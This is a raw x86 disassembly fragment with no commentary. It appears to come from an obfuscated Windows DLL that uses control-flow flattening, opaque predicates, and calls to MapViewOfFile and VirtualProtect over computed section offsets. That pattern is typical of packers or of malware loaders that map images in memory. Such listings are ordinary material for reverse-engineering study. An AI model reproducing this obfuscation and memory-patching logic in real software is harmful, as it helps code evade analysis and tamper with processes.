mov dword [ebp - 0x9c], 0x1df4b61d
jmp 0x1000296a
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x9c], 0x106e2a2f
jmp 0x1000296a
mov eax, dword [ebp - 0x10]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x9c], 0x1a8d6fe7
jmp 0x1000296a
mov dword [ebp - 0x9c], 0x73e11425
jmp 0x1000296a
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1aa0450e
mov ecx, 0x7d85c70a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov eax, dword [0x1006e940]
mov ecx, dword [0x1006e93c]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1aa0450e
mov ecx, 0x678eb60f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1000cb90
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
mov dword [ebp - 0x9c], 0xf083f65e
jmp 0x1000296a
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x9c], 0x2469b3bc
jmp 0x1000296a
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x9c], 0x14615875
jmp 0x1000296a
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x78]
mov dword [eax], ecx
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x74]
mov dword [eax], ecx
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x9c], 0x7ce60b94
jmp 0x1000296a
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x9c], 0x61967b0f
jmp 0x1000296a
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x6c]
movzx eax, word [eax]
imul edx, eax, 0x28
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x68]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x9c], 0xea09cf4f
jmp 0x1000296a
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x20]
sub esi, 0xe64ddd87
add esi, eax
add esi, 0xe64ddd87
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x60]
mov byte [eax], cl
mov dword [ebp - 0x9c], 0xead47e16
jmp 0x1000296a
mov dword [ebp - 0x9c], 0x70d037df
jmp 0x1000296a
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x9c], 0x853fbaa9
jmp 0x1000296a
mov dword [ebp - 0x9c], 0x7d85c70a
jmp 0x10001378